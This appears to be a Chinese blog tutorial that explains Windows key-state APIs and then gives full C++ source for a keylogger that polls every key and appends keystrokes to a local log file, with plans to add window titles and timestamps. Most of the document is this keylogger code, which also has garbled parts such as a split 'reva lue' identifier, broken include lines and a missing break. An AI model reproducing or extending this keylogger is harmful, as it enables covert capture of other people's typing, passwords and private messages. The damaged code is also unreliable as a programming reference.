首先，我是也是借鉴别人的源码来学习的。因为如果还是按照从头开始看VC++来做的话肯定是来不及的，那我就直接去分析看懂别的人的代码，从中学习并且自己再重新实现一遍，再做些改进。
先来介绍一下所用到的API：
1、fstream这是一个C++处理文件的一个类，里面有很多关于文件处理的函数。定义这个对象就能够使用其中很多的成员方法。
2、GetAsyncKeyState：
函数GetAsyncKeyState确定在调用它时某个按键处于弹起还是按下的，以及此按键是否在上一次调用GetAsyncKeyState之后（“又”）按下过（重复也算按下）。
如果函数成功，则返回值指定此按键自上次上次调用GetAsyncKeyState后是否按下过，以及此按键当前是弹起的还是按下的。如果最高比特位被设置（就是被设为1），此按键就是按下的，并且没有弹起，如果最低位被设置，则此按键在上次调用GetAsyncKeyState之后（“又”）被按下过。但是你不应该依赖于之前的（按键）行为
3、GetKeyState
以一个虚拟键位参数，返回这个虚拟键的状态，是按下还是弹起，抑或是像大写锁定键这样的按键的具体触发状态。
若高序位为1，则键处于DOWN状态，否则为UP状态。
若低序位为1，则键被触发。例如CAPS LOCK键，被找开时将被触发。若低序位置为0，则键被关闭，且不被触发。触发键在键盘上的指示灯，当键被触发时即亮，键不被触发时即灭。
具体检查这些状态的时候都需要用位运算的形式才计算。
接下来是具体的代码，注释我应该写的很清楚
#include
#include
#include
#include <
windows.h> #include
#include
#include
using namespace std; const int KeyBoardValue = 0x80000000; string GetKeyName(int); bool JudgeShift();
#include"Main.h"
int main()
{
string FileName = "F:\\recover\\2014.7-2015.1\\Keyborad\\log.txt";
string KeyName = "";
fstream FileStream;
FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
while(1)
{
Sleep(5);
for(int i = 8; i <= 255; i++)
{
if(GetAsyncKeyState(i)&1 == 1) //判断虚拟按键是否按下，无论是一直按着还是按一下就弹起，只判断是否按过
{
KeyName = GetKeyName(i);
FileStream.write(KeyName.c_str(), KeyName.size());
FileStream.close(); //写完一次就保存一次
FileStream.open(FileName.c_str(), std::fstream::out | std::fstream::app);
}
}
}
return 0;
}
string GetKeyName(int NumKey)
{
bool IS_SHIFT = JudgeShift();
string reva lue = "";
//判断键盘中间的特殊符号
if(NumKey >= 186 && NumKey <= 222)
switch(NumKey)
{
case 186:
if(IS_SHIFT)
reva lue = ":";
else
reva lue = ";";
break;
case 187:
if(IS_SHIFT)
reva lue = "+";
else
reva lue = "=";
break;
case 188:
if(IS_SHIFT)
reva lue = "<";
else
reva lue = ",";
break;
case 189:
if(IS_SHIFT)
reva lue = "_";
else
reva lue = "-";
break;
case 190:
if(IS_SHIFT)
reva lue = ">";
else
reva lue = ".";
break;
case 191:
if(IS_SHIFT)
reva lue = "?";
else
reva lue = "/";
break;
case 192:
if(IS_SHIFT)
reva lue = "~";
else
reva lue = "`";
break;
case 219:
if(IS_SHIFT)
reva lue = "{";
else
reva lue = "[";
break;
case 220:
if(IS_SHIFT)
reva lue = "|";
else
reva lue = "\\";
break;
case 221:
if(IS_SHIFT)
reva lue = "}";
else
reva lue = "]";
break;
case 222:
if(IS_SHIFT)
reva lue = '"';
else
reva lue = ",";
default:
reva lue = "error";
break;
}
if (NumKey == VK_ESCAPE) // 退出
reva lue = "[Esc]";
else if (NumKey == VK_F1) // F1至F12
reva lue = "[F1]";
else if (NumKey == VK_F2)
reva lue = "[F2]";
else if (NumKey == VK_F3)
reva lue = "[F3]";
else if (NumKey == VK_F4)
reva lue = "[F4]";
else if (NumKey == VK_F5)
reva lue = "[F5]";
else if (NumKey == VK_F6)
reva lue = "[F6]";
else if (NumKey == VK_F7)
reva lue = "[F7]";
else if (NumKey == VK_F8)
reva lue = "[F8]";
else if (NumKey == VK_F9)
reva lue = "[F9]";
else if (NumKey == VK_F10)
reva lue = "[F10]";
else if (NumKey == VK_F11)
reva lue = "[F11]";
else if (NumKey == VK_F12)
reva lue = "[F12]";
else if (NumKey == VK_SNAPSHOT) // 打印屏幕
reva lue = "[PrScrn]";
else if (NumKey == VK_SCROLL) // 滚动锁定
reva lue = "[Scroll Lock]";
else if (NumKey == VK_PAUSE) // 暂停、中断
reva lue = "[Pause]";
else if (NumKey == VK_CAPITAL) // 大写锁定
reva lue = "[Caps Lock]";
else if (NumKey == 8) //<- 回格键
reva lue = "[Backspace]";
else if (NumKey == VK_RETURN) // 回车键、换行
reva lue = "[Enter]\n";
else if (NumKey == VK_SPACE) // 空格
reva lue = " ";
else if (NumKey == VK_TAB) // 制表键
reva lue = "[Tab]";
else if (NumKey == VK_LCONTROL) // 左控制键
reva lue = "[Ctrl]";
else if (NumKey == VK_RCONTROL) // 右控制键
reva lue = "[CTRL]";
else if (NumKey == VK_LMENU) // 左换档键
reva lue = "[Alt]";
else if (NumKey == VK_LMENU) // 右换档键
reva lue = "[ALT]";
else if (NumKey == VK_LWIN) // 右 WINDOWS 键
reva lue = "[Win]";
else if (NumKey == VK_RWIN) // 右 WINDOWS 键
reva lue = "[WIN]";
else if (NumKey == VK_APPS) // 键盘上 右键
reva lue = "右键";
else if (NumKey == VK_INSERT) // 插入
reva lue = "[Insert]";
else if (NumKey == VK_DELETE) // 删除
reva lue = "[Delete]";
else if (NumKey == VK_HOME) // 起始
reva lue = "[Home]";
else if (NumKey == VK_END) // 结束
reva lue = "[End]";
else if (NumKey == VK_PRIOR) // 上一页
reva lue = "[PgUp]";
else if (NumKey == VK_NEXT) // 下一页
reva lue = "[PgDown]";
// 不常用的几个键:一般键盘没有
else if (NumKey == VK_CANCEL) // Cancel
reva lue = "[Cancel]";
else if (NumKey == VK_CLEAR) // Clear
reva lue = "[Clear]";
else if (NumKey == VK_SELECT) //Select
reva lue = "[Select]";
else if (NumKey == VK_PRINT) //Print
reva lue = "[Print]";
else if (NumKey == VK_EXECUTE) //Execute
reva lue = "[Execute]";
//----------------------------------------//
else if (NumKey == VK_LEFT) //上、下、左、右键
reva lue = "[←]";
else if (NumKey == VK_RIGHT)
reva lue = "[→]";
else if (NumKey == VK_UP)
reva lue = "[↑]";
else if (NumKey == VK_DOWN)
reva lue = "[↓]";
else if (NumKey == VK_NUMLOCK)//小键盘数码锁定
reva lue = "[NumLock]";
else if (NumKey == VK_ADD) // 加、减、乘、除
reva lue = "+";
else if (NumKey == VK_SUBTRACT)
reva lue = "-";
else if (NumKey == VK_MULTIPLY)
reva lue = "*";
else if (NumKey == VK_DIVIDE)
reva lue = "/";
else if (NumKey == 190 || NumKey == 110) // 小键盘 . 及键盘 .
reva lue = ".";
//小键盘数字键:0-9
else if (NumKey == VK_NUMPAD0)
reva lue = "0";
else if (NumKey == VK_NUMPAD1)
reva lue = "1";
else if (NumKey == VK_NUMPAD2)
reva lue = "2";
else if (NumKey == VK_NUMPAD3)
reva lue = "3";
else if (NumKey == VK_NUMPAD4)
reva lue = "4";
else if (NumKey == VK_NUMPAD5)
reva lue = "5";
else if (NumKey == VK_NUMPAD6)
reva lue = "6";
else if (NumKey == VK_NUMPAD7)
reva lue = "7";
else if (NumKey == VK_NUMPAD8)
reva lue = "8";
else if (NumKey == VK_NUMPAD9)
reva lue = "9";
//----------------------------上述代码判断键盘上除了字母之外的功能键--------------------------------//
else if(NumKey >=65 && NumKey <= 90)
{
if(GetKeyState(VK_CAPITAL))
{
if(IS_SHIFT)
reva lue = NumKey + 32;
else
reva lue = NumKey;
}
else
{
if(IS_SHIFT)
reva lue = NumKey;
else
reva lue = NumKey + 32;
}
}
//---------------------------上面的部分判断键盘上的字母----------------------------------------------//
else if(NumKey >= 48 && NumKey <= 57)
{
if(IS_SHIFT)
{
switch (NumKey)
{
case 48:reva lue = ")";break;
case 49:reva lue = "!";break;
case 50:reva lue = "@";break;
case 51:reva lue = "#";break;
case 52:reva lue = "$";break;
case 53:reva lue = "%";break;
case 54:reva lue = "^";break;
case 55:reva lue = "&";break;
case 56:reva lue = "*";break;
case 57:reva lue = "(";break;
}
}
else
{
switch (NumKey)
{
case 48:reva lue = "0";break;
case 49:reva lue = "1";break;
case 50:reva lue = "2";break;
case 51:reva lue = "3";break;
case 52:reva lue = "4";break;
case 53:reva lue = "5";break;
case 54:reva lue = "6";break;
case 55:reva lue = "7";break;
case 56:reva lue = "8";break;
case 57:reva lue = "9";break;
}
}
}
return reva lue;
}
bool JudgeShift()
{
int iShift=GetKeyState(0x10); //判断Shift键状态
bool IS=(iShift & KeyBoardValue)==KeyBoardValue; //表示按下Shift键
if(IS)
return 1;
else
return 0;
}
基本上实现了键盘出了HOME键那部分所有的按键记录，这只是先实现一下最基本的功能，后续的版本应该还有把输入的窗口的名字获取到，时间，内容，还有一些组合键都会涉及到。